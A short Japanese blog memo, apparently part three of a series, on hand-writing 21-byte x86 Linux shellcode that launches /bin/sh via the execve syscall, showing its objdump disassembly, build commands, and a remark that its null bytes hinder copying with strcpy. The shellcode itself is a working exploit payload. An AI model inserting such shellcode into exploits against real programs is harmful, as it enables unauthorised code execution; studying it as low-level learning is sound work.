/bin/shを起動するシェルコード(x86) その3
更にバイト数を削れたのでメモ。と思ったけど、eaxへの代入にバイト数を割いていて、今回も21bytesだった。
今回は文字列の終端に0x00が必要だったので、//shではなく/shになっている。
# objdump -d -Mintel c.out | grep -A6 \<main\> 080483ed <main>: 80483ed: 31 c9 xor ecx,ecx 80483ef: 68 2f 73 68 00 push 0x68732f 80483f4: 68 2f 62 69 6e push 0x6e69622f 80483f9: 89 e3 mov ebx,esp 80483fb: b8 0b 00 00 00 mov eax,0xb 8048400: cd 80 int 0x80
# gcc -m32 -o c.out c.s # ./c.out # exit
レジスタとスタックは以下のようになっているはず。
今回のようにNullバイト(0x00)が入っていると、strcpyなどを使ったときにシェルコードのコピーがうまくされない。0x00は文字列の終端として扱われるため。そのため、本来はNullバイトが無いシェルコードの方が使い勝手がよいものと思われる。